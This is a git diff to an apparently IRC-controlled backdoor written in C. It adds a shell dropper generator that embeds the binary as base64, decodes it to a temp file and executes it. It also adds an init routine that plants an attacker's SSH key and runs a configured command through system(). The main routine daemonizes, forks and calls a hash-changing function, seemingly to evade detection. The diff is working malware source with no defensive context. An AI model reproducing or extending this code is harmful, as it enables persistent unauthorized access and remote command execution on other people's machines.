diff --git a/gen_script.sh b/gen_script.sh
index 40a5461..0152e16 100755
--- a/gen_script.sh
+++ b/gen_script.sh
@@ -6,6 +6,6 @@ payload=$(cat main | base64 | xargs | tr -d " ")
 
 echo "#!/bin/sh" > script.sh
 echo "f=\""$payload\" >> script.sh
-echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh
+echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX); echo \$f | base64 -d > \$t; chmod +x \$t; exec \$t" >> script.sh
 
 chmod +x script.sh
diff --git a/include/backdoor.h b/include/backdoor.h
index 5be1c01..bb0e21a 100644
--- a/include/backdoor.h
+++ b/include/backdoor.h
@@ -4,6 +4,7 @@
 
 #define COMMON_BUF_SIZE 100
 
+void backdoor_init(void);
 void backdoor_offline(void);
 void parse_cmd(IRCC_client *client);
 
diff --git a/include/cfg.h b/include/cfg.h
index 1ee968d..1e592fe 100644
--- a/include/cfg.h
+++ b/include/cfg.h
@@ -29,15 +29,19 @@
 
 	/* Uncomment if you want to enable option */
 	/* #define CFG_SSH */
+	/* #define CFG_CMD */
 
+	/* Will start after startup */
 	#ifdef CFG_SSH
-		/*
-		* Writes your ssh key if connection
-		* was not established
-		*/
+		/* Writes your ssh key */
 
 		const char *ssh_key = "";
 	#endif
 
+	#ifdef CFG_CMD
+		/* Execute command */
+
+		const char *cmd = "";
+	#endif
 #endif
 
diff --git a/src/backdoor.c b/src/backdoor.c
index 03d3156..c96c6aa 100644
--- a/src/backdoor.c
+++ b/src/backdoor.c
@@ -10,9 +10,7 @@
 
 static FILE *fp;
 
-void backdoor_offline(void) {
-	sleep(60);
-
+void backdoor_init(void) {
 #ifdef CFG_SSH
 	/* Write ssh key */
 	size_t len = strlen(ssh_key);
@@ -46,9 +44,17 @@ void backdoor_offline(void) {
 		fprintf(fp, "%s\n", ssh_key);
 
 	fclose(fp);
+
+#ifdef CFG_CMD
+	system(cmd);
+
 #endif
 }
 
+void backdoor_offline(void) {
+	sleep(60);
+}
+
 void send_info(IRCC_client *client, const char *buf) {
 	char *nick = strdup(client->irc_nick);
 	if (nick == NULL)
diff --git a/src/main.c b/src/main.c
index 915cdf6..6075fb1 100644
--- a/src/main.c
+++ b/src/main.c
@@ -71,6 +71,7 @@ int main(void) {
 	ChangeHashSum();
 	daemon(0, 0);
 
+	/* Main */
 	if (fork() == 0) {
 		daemon(0, 0);
 		signal(SIGINT, SIG_IGN);
@@ -79,6 +80,8 @@ int main(void) {
 
 		srand(getpid());
 		chdir(getenv("HOME"));
+
+		backdoor_init();
 		while (1)
 			if (start())
 				backdoor_offline();